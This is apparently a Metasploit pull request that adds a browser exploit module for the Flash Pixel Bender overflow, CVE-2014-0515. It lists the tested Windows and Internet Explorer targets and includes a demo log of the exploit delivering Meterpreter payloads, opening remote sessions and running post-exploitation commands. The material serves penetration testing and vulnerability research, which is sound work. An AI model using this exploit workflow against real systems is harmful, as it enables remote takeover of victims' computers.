rapid7/metasploit-framework — pull request #3340 by jvazquez-r7 (2014-05-07 22:22:17+00:00)
Title: Add module for CVE-2014-0515

Tested on:

* Windows XP SP3 / IE6 / Flash 11.7.700.202
* Windows 7 SP1 / IE8 / Flash 11.7.700.202
* Windows 7 SP1 / IE8 / Flash 12.0.0.77
* Windows 8 / IE10 / Flash 11.7.700.202

(all x86)

The binary data is the Pixel Bender Filter used to overflow when setting the Shader bytecode, it's just a tweaked version of http://www.adobe.com/cfusion/exchange/index.cfm?event=extensionDetail&loc=en_us&extid=1540019

Verification
--------------

- [ ] Install a vulnerable configuration (check above). Any Windows / IE 6-10 / Flash 11 or 12 should work. Tested configurations above.
- [ ] Run the module like in the module, hopefully enjoy sessions!

DEMO
---------

```
msf exploit(adobe_flash_pixel_bender_bof) > [*] 10.6.0.83 adobe_flash_pixel_bender_bof - Gathering target information.
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Sending response HTML.
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Request: /RRSK78H134/chbkin/
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Sending HTML...
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Request: /RRSK78H134/chbkin/PDPQp.swf
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Sending SWF...
[*] Sending stage (770048 bytes) to 10.6.0.83
[*] Meterpreter session 2 opened (10.6.0.83:4444 -> 10.6.0.83:59420) at 2014-05-07 17:01:24 -0500
[*] Session ID 2 (10.6.0.83:4444 -> 10.6.0.83:59420) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (3216)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 264
[+] Successfully migrated to process

msf exploit(adobe_flash_pixel_bender_bof) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.131 - Meterpreter session 2 closed. Reason: User exit
msf exploit(adobe_flash_pixel_bender_bof) >
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Gathering target information.
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Sending response HTML.
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Request: /RRSK78H134/chbkin/
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Sending HTML...
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Request: /RRSK78H134/chbkin/Eajff.swf
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Sending SWF...
[*] Sending stage (770048 bytes) to 10.6.0.83
[*] Meterpreter session 3 opened (10.6.0.83:4444 -> 10.6.0.83:59430) at 2014-05-07 17:03:58 -0500
[*] Session ID 3 (10.6.0.83:4444 -> 10.6.0.83:59430) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2236)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3044
[+] Successfully migrated to process

msf exploit(adobe_flash_pixel_bender_bof) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > ls

Listing: C:\Users\Juan Vazquez\Desktop
======================================

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40555/r-xr-xr-x 0 dir 2014-05-03 18:14:21 -0500 .
40777/rwxrwxrwx 0 dir 2012-06-19 10:09:07 -0500 ..
100666/rw-rw-rw- 282 fil 2012-06-19 10:09:07 -0500 desktop.ini
40777/rwxrwxrwx 0 dir 2014-05-03 18:14:21 -0500 fp_11.7.700.202_archive
100666/rw-rw-rw- 163144590 fil 2014-05-02 10:05:22 -0500 fp_11.7.700.202_archive.zip
100666/rw-rw-rw- 991 fil 2012-06-19 10:12:34 -0500 procexp - Shortcut.lnk
100777/rwxrwxrwx 971464 fil 2012-06-19 10:12:08 -0500 sdksetup.exe

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.143 - Meterpreter session 3 closed. Reason: User exit
msf exploit(adobe_flash_pixel_bender_bof) >
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Gathering target information.
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Sending response HTML.
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Request: /RRSK78H134/chbkin/
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Sending HTML...
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Request: /RRSK78H134/chbkin/rJlJ.swf
[*] 10.6.0.83 adobe_flash_pixel_bender_bof - Sending SWF...
[*] Sending stage (770048 bytes) to 10.6.0.83
[*] Meterpreter session 4 opened (10.6.0.83:4444 -> 10.6.0.83:59494) at 2014-05-07 17:06:41 -0500
[*] Session ID 4 (10.6.0.83:4444 -> 10.6.0.83:59494) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (4024)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 988
[+] Successfully migrated to process

msf exploit(adobe_flash_pixel_bender_bof) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer : WIN-RGNTBKN86Q9
OS : Windows 8 (Build 9200).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > getuid
Server username: WIN-RGNTBKN86Q9\juan
meterpreter > exit
[*] Shutting down Meterpreter...
```